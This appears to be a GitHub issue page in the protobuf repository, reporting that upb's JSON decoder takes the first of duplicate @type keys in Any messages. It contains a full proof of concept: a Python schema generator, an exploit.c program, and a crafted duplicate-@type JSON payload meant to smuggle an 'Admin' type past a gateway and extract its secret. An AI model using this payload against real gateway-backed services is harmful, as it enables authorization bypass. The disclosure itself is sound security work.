protocolbuffers / protocolbuffers/protobuf
upb JSON decoder: duplicate @type keys when parsed with ignore_unknowns, the first reached @type is used
@tonyliaoss is already working on this.
Since Jul 21, 2026.
- Dominant language
- C++
- Stars
- 72k
- Forks
- 16.3k
- Avg merge
- 1d 17h
- Merged PRs (30d)
- 140
Description
As reported by @mhmadqw909-cloud
This was reported via the security report channel, but this is only a bug (and debatably so, one possible resolution might be closing this as working-as-implemented-and-within-legal-spec-behavior), so I am moving it to the regular GH issues flow.
Summary
I have identified a parser differential vulnerability in the upb JSON decoder during the processing of google.protobuf.Any messages.
While standard JSON parsers (such as Node.js, Go, or upstream API Gateways) implement the standard "Last-Key-Wins" rule for duplicate keys in an object, the upb JSON parser (specifically inside jsondec_any() in upb/json/decode.c) locks onto the first @type key it encounters and discards any subsequent ones. This inconsistency leads to type confusion and can be used to bypass WAFs or API Gateways (Application-Layer Request Smuggling).
Steps to Reproduce
Since I am experiencing issues uploading files directly through the UI, I have pasted the exact, unmodified source code for both the schema generator (gen_schema.py) and the exploit simulation (exploit.c) below.
Step 1: Create gen_schema.py
Save the following python code exactly as gen_schema.py and run it to generate the compiled descriptor file (schema.pb):
import google.protobuf.descriptor_pb2 as descriptor_pb2
file_proto = descriptor_pb2.FileDescriptorProto()
file_proto.name = "security_schema.proto"
file_proto.package = "google.protobuf"
1. google.protobuf.Any (WKT)
any_msg = file_proto.message_type.add()
any_msg.name = "Any"
f1 = any_msg.field.add()
f1.name = "type_url"
f1.number = 1
f1.type = descriptor_pb2.FieldDescriptorProto.TYPE_STRING
f2 = any_msg.field.add()
f2.name = "value"
f2.number = 2
f2.type = descriptor_pb2.FieldDescriptorProto.TYPE_BYTES
2. Admin Message (Sensitive)
admin_msg = file_proto.message_type.add()
admin_msg.name = "Admin"
f1 = admin_msg.field.add()
f1.name = "admin_secret_key"
f1.number = 1
f1.type = descriptor_pb2.FieldDescriptorProto.TYPE_STRING
3. User Message (Public)
user_msg = file_proto.message_type.add()
user_msg.name = "User"
f1 = user_msg.field.add()
f1.name = "username"
f1.number = 1
f1.type = descriptor_pb2.FieldDescriptorProto.TYPE_STRING
4. Entry Point Container
container_msg = file_proto.message_type.add()
container_msg.name = "AuthRequest"
f1 = container_msg.field.add()
f1.name = "payload"
f1.number = 1
f1.type = descriptor_pb2.FieldDescriptorProto.TYPE_MESSAGE
f1.type_name = ".google.protobuf.Any"
with open("schema.pb", "wb") as f:
f.write(file_proto.SerializeToString())
Step 2: Create exploit.c
Save the following C code exactly as exploit.c:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
/* upb headers */
#include "upb/base/status.h"
#include "upb/json/decode.h"
#include "upb/reflection/def.h"
#include "upb/mem/arena.h"
#include "upb/message/message.h"
#include "upb/reflection/message.h"
#include "upb/wire/decode.h"
/* Symbol from upb/reflection/cmake/google/protobuf/descriptor.upb_minitable.c */
extern const upb_MiniTable google__protobuf__FileDescriptorProto_msg_init;
int main() {
printf("--- [EMPIRICAL EXPLOIT] upb JSON Any Type Confusion ---\n");
upb_Arena* arena = upb_Arena_New();
upb_DefPool* pool = upb_DefPool_New();
upb_Status status;
upb_Status_Clear(&status);
/* 1. Load the security schema */
FILE* f = fopen("schema.pb", "rb");
if (!f) { perror("Failed to open schema.pb"); return 1; }
fseek(f, 0, SEEK_END);
long size = ftell(f);
fseek(f, 0, SEEK_SET);
char* schema_data = malloc(size);
fread(schema_data, 1, size, f);
fclose(f);
/* Decode raw bytes into FileDescriptorProto */
upb_Message* fdp_msg = upb_Message_New(&google__protobuf__FileDescriptorProto_msg_init, arena);
if (upb_Decode(schema_data, size, fdp_msg, &google__protobuf__FileDescriptorProto_msg_init, NULL, 0, arena) != kUpb_DecodeStatus_Ok) {
fprintf(stderr, "[-] Failed to decode descriptor.\n");
return 1;
}
/* Add to DefPool */
if (!upb_DefPool_AddFile(pool, (const struct google_protobuf_FileDescriptorProto*)fdp_msg, &status)) {
fprintf(stderr, "[-] Failed to add file to pool: %s\n", upb_Status_ErrorMessage(&status));
return 1;
}
/* Get Message Definitions */
const upb_MessageDef* auth_req_m = upb_DefPool_FindMessageByName(pool, "google.protobuf.AuthRequest");
const upb_MessageDef* admin_m = upb_DefPool_FindMessageByName(pool, "google.protobuf.Admin");
/* 2. THE MALICIOUS PAYLOAD
* Gateway sees: User (Last-wins)
* upb Backend sees: Admin (First-wins)
*/
const char* malicious_json =
"{"
" \"payload\": {"
" \"@type\": \"[type.googleapis.com/google.protobuf.Admin](https://type.googleapis.com/google.protobuf.Admin)\","
" \"admin_secret_key\": \"PROVEN_BY_UPB_EXPLOIT_2026\","
" \"@type\": \"[type.googleapis.com/google.protobuf.User](https://type.googleapis.com/google.protobuf.User)\","
" \"username\": \"guest_user\""
" }"
"}";
printf("[*] Attacker Payload (JSON):\n%s\n\n", malicious_json);
/* 3. Execute upb Decoding */
upb_Message* msg = upb_Message_New(upb_MessageDef_MiniTable(auth_req_m), arena);
bool ok = upb_JsonDecode(malicious_json, strlen(malicious_json), msg, auth_req_m, pool, upb_JsonDecode_IgnoreUnknown, arena, &status);
if (!ok) {
printf("[-] upb rejected the payload: %s\n", upb_Status_ErrorMessage(&status));
} else {
printf("[+] upb accepted the payload successfully!\n");
/* 4. Empirical Proof: Unpack the Any and check the type */
const upb_FieldDef* payload_f = upb_MessageDef_FindFieldByNumber(auth_req_m, 1);
upb_Message* any_msg = (upb_Message*)upb_Message_GetFieldByDef(msg, payload_f).msg_val;
const upb_MessageDef* any_m = upb_FieldDef_MessageSubDef(payload_f);
upb_StringView resolved_type = upb_Message_GetFieldByDef(any_msg, upb_MessageDef_FindFieldByNumber(any_m, 1)).str_val;
printf("[*] upb Resolved @type as: %.*s\n", (int)resolved_type.size, resolved_type.data);
if (strstr(resolved_type.data, "Admin")) {
printf("\n[!!!] EXPLOIT SUCCESS: TYPE CONFUSION PROVEN [!!!]\n");
printf("[!] upb interpreted the object as ADMIN despite the later USER declaration.\n");
/* Double-check: Extract Admin secret */
/* The 'value' field in Any is field number 2 */
upb_StringView value_bytes = upb_Message_GetFieldByDef(any_msg, upb_MessageDef_FindFieldByNumber(any_m, 2)).str_val;
/* Decode the internal value bytes back into Admin message to prove integrity */
upb_Message* decoded_admin = upb_Message_New(upb_MessageDef_MiniTable(admin_m), arena);
if (upb_Decode(value_bytes.data, value_bytes.size, decoded_admin, upb_MessageDef_MiniTable(admin_m), NULL, 0, arena) == kUpb_DecodeStatus_Ok) {
const upb_FieldDef* secret_f = upb_MessageDef_FindFieldByNumber(admin_m, 1);
upb_StringView secret = upb_Message_GetFieldByDef(decoded_admin, secret_f).str_val;
printf("[*] Exfiltrated Admin Secret: %.*s\n", (int)secret.size, secret.data);
}
}
}
upb_Arena_Free(arena);
upb_DefPool_Free(pool);
free(schema_data);
return 0;
}
Step 3: Compilation & Execution
To compile and link the code locally against your libupb build:
Impact
In microservice architectures where an upstream gateway or proxy (like Envoy, or a Node.js/Go proxy) routes incoming JSON requests to a backend using upb for decoding, this parser mismatch completely bypasses security filters.
An attacker can craft a payload with duplicate @type keys—placing a restricted message type first (resolved by upb on the backend) and an unprivileged type last (resolved by the gateway proxy). This allows unauthenticated users to smuggle administrative/internal message types directly past the edge filters.
Contributor guide
First steps
- Read the whole issue, then the project's contributing guide.
- Comment on the issue to say you are picking it up — it saves two people doing the same work.
- Fork the repository and make your change on a branch.
- Open a pull request that references the issue number.
Assessment
This issue has not been assessed yet.